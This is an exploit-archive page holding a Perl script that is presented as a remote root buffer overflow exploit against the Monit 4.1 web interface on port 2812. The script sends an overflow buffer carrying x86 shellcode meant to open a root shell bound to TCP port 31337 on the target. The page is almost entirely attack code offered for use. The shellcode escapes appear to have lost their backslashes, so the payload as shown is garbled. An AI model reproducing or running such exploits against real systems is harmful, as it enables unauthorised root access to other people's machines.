Monit <= 4.1 Remote Root Buffer Overflow Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Monit <= 4.1 Remote Root Buffer Overflow Exploit
# Published : 2004-04-09
# Author : gsicht
# Previous Title : tcpdump ISAKMP Identification payload Integer Overflow Exploit
# Next Title : Citadel/UX Remote Buffer Overflow Exploit

#!/usr/bin/perl
#
# monit <= 4.1 remote root exploit
# coded by gsicht (09.04.04)
#

use IO::Socket::INET;
$socket = 0;

my $shellcode = # 8 + 88 = 96 bytes portbind 31337
"x90x90x90x90x90x90x90x90" .
"x90x90x90x90x90x90x90x90" .
"x31xc0x31xdbxb0x17xcdx80" .
"x31xdbxf7xe3xb0x66x53x43x53x43x53x89xe1x4bxcdx80" .
"x89xc7x52x66x68" .
"x7ax69" . # port 31337/tcp, change if needed
"x43x66x53x89xe1xb0x10x50x51x57x89xe1xb0x66xcdx80" .
"xb0x66xb3x04xcdx80" .
"x50x50x57x89xe1x43xb0x66xcdx80" .
"x89xd9x89xc3xb0x3fx49xcdx80" .
"x41xe2xf8x51x68n/shx68//bix89xe3x51x53x89xe1xb0x0bxcdx80";


print "nmonit 4.1 dos exploitn";
print "coded by gsichtnn";

if(@ARGV<1)
{
print "Usage: perl agate.pl <target>nn";
exit(0);
}

print "HOST:t$ARGV[0]n";
print "PORT:t2812n";


my $buffer = "B" x 284 . "xcfx89xb3x40" . $shellcode; # esp mandrake 9.1
#my $buffer = "A" x 284 . "XXXX" . "B" x 100; #dos and debug

print "connecting to server...n";

$socket = IO::Socket::INET -> new( PeerAddr => $ARGV[0],
    PeerPort => 2812,
    Proto    => "tcp");
if(!defined($socket))
{
print "could not connect :-Pn";
sleep(1);
exit(0);
}

print "connectedn";
sleep(1);
print "sending stringn";
print $socket $buffer;

close $socket;
print "ndosed!n";

# www.Syue.com [2004-04-09]